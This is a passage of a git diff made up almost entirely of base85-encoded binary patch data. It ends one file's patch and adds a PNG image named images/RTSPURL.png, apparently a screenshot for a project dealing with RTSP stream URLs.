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 literal 0 HcmV?d00001 diff --git a/images/RTSPURL.png b/images/RTSPURL.png new file mode 100644 index 0000000000000000000000000000000000000000..4fa083f80b7e84ab6810e8338b77f98d0d2eaac3 GIT binary patch literal 37139 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 